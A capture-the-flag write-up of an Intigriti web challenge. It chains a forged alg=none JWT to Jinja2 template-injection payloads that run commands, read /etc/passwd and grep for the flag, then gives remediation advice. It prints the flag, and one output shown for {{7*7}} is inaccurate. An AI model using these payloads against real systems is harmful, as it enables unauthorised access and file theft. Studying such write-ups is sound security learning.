Authors: Hacck3y
Difficulty: Medium-Hard (feels like Easy if you’ve sold your soul to PortSwigger a long time ago)
Target: https://challenge-1125.intigriti.io
Solved: 17 November 2025
Flag: INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}
Phase 1: “Wait… they actually accept alg=none in 2025?!”
(JWT Algorithm Confusion – the 2018 classic that refuses to die)
Step 1: Register as a peasant, get a normal HS256 JWT.
Step 2: Look at the code (or just guess, because who doesn’t try this first).
Step 3: Change header to {"alg":"none","typ":"JWT"}, keep a legit-looking payload, set signature to empty → token ends with a lonely dot .
Crafted admin token (yes, really):
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyX2lkIjozLCJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIiwiZXhwIjo5OTk5OTk5OTk5OX0.Set cookie → refresh → suddenly you have an “Admin” button.
We literally just told the server “trust me bro, no signature needed” and it went:
Server: “Say less, king. Welcome, admin.”
Impact: Unauthenticated → Admin in one HTTP request.
Mood: Equal parts ashamed for the app and proud of ourselves.
Phase 2: Admin Panel? More Like Free RCE Panel
Now logged in as admin, we see /admin/profile — a totally normal “update your display name” page.
Friend: “Bet it’s SSTI.”
Me: “No way they’re that generous.”
Friend: puts {{7*7}} → page returns 7777777
Me: visible existential crisis
Confirmed: raw Jinja2 SSTI with zero sandbox. The kind of gift that keeps on giving.
Phase 3: From Template Injection to “Hello I am now root” (kind of)
Classic Jinja2 payload menu:
{{''.__class__.__mro__[1].__subclasses__()}} → let’s browse Python classes like it’s AmazonBut we’re lazy, so straight to the good stuff:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}→ uid=999(appuser) gid=999(app) ← okay not root, but still spicyFile read? Yes please:
{{ self.__init__.__globals__.__builtins__.open('/etc/passwd').read() }}→ full passwd dumped like it’s 2005Now the real treasure hunt:
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('grep -r "INTIGRITI" /app 2>/dev/null').read() }}Output:
/app/.aquacommerce/019a82cf.txt:INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}Friend’s one-liner (show-off version):
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat .aquacommerce/019a82cf.txt').read() }}→ flag straight to the faceWe both just sat there in voice chat, silent for 3 seconds, then simultaneously screamed “IT’S IN .aquacommerce???”
Yes. The flag was hidden in a folder named after the best e-commerce platform that never existed.
Full Exploit Chain (pretty version)
1. Forge JWT with alg=none → Become admin (no password, no 2FA, no shame)2. Go to /admin/profile3. Inject SSTI payload in "Display Name"4. Execute command → cat the flag like it’s a Tuesday CTF→ ProfitTotal time from zero to flag: ~25 minutes (15 of which were us laughing in disbelief).
Root Causes (so the devs don’t feel too bad)
-
JWT library configured to accept
alg: none(or custom parser that trusts the header blindly).
→ Never, ever trust the “alg” field. Hardcode allowed algorithms. -
Jinja2 rendering user input directly in an unsandboxed environment with full access to
__builtins__.
→ If you let users touch templates, at least useSandboxedEnvironmentand cry nightly.
Remediation – Copy-Paste These or Stay Vulnerable Forever
JWT (PyJWT example)
jwt.decode( token, SECRET, algorithms=["HS256"], # NEVER let the token choose options={"verify_signature": True, "require": ["exp", "iat"]})Jinja2 – Just Don’t Do This
# NEVERtemplate = Template(user_input) # ← this is how you get owned
# DO THIS insteadfrom jinja2.sandbox import SandboxedEnvironmentenv = SandboxedEnvironment()env.globals.clear() # burn it all# or better: don’t use Jinja for user-supplied content at allFinal Thoughts & Bragging Rights
This challenge was two Hall-of-Fame vulnerabilities having a romantic dinner together:
- JWT none algorithm (2018 called, it wants its bug back)
- Unsandboxed Jinja2 SSTI (PortSwigger tutorial page 47)
Yet somehow still only ~200 solvers. Moral of the story: classics never die, and Intigriti authors have a sense of humor.
Shoutout to the Intigriti team for another banger, and to my friend who carried the vibe while I just screamed “TRY NONE ALG” for the 47th time.
See you on the next one.
(We’re totally not refreshing the leaderboard right now. Nope.)
Flag: INTIGRITI{019a82cf-ca32-716f-8291-2d0ef30bea32}
Now if you’ll excuse us, we’re going to touch grass… right after we check who’s leading December’s challenge.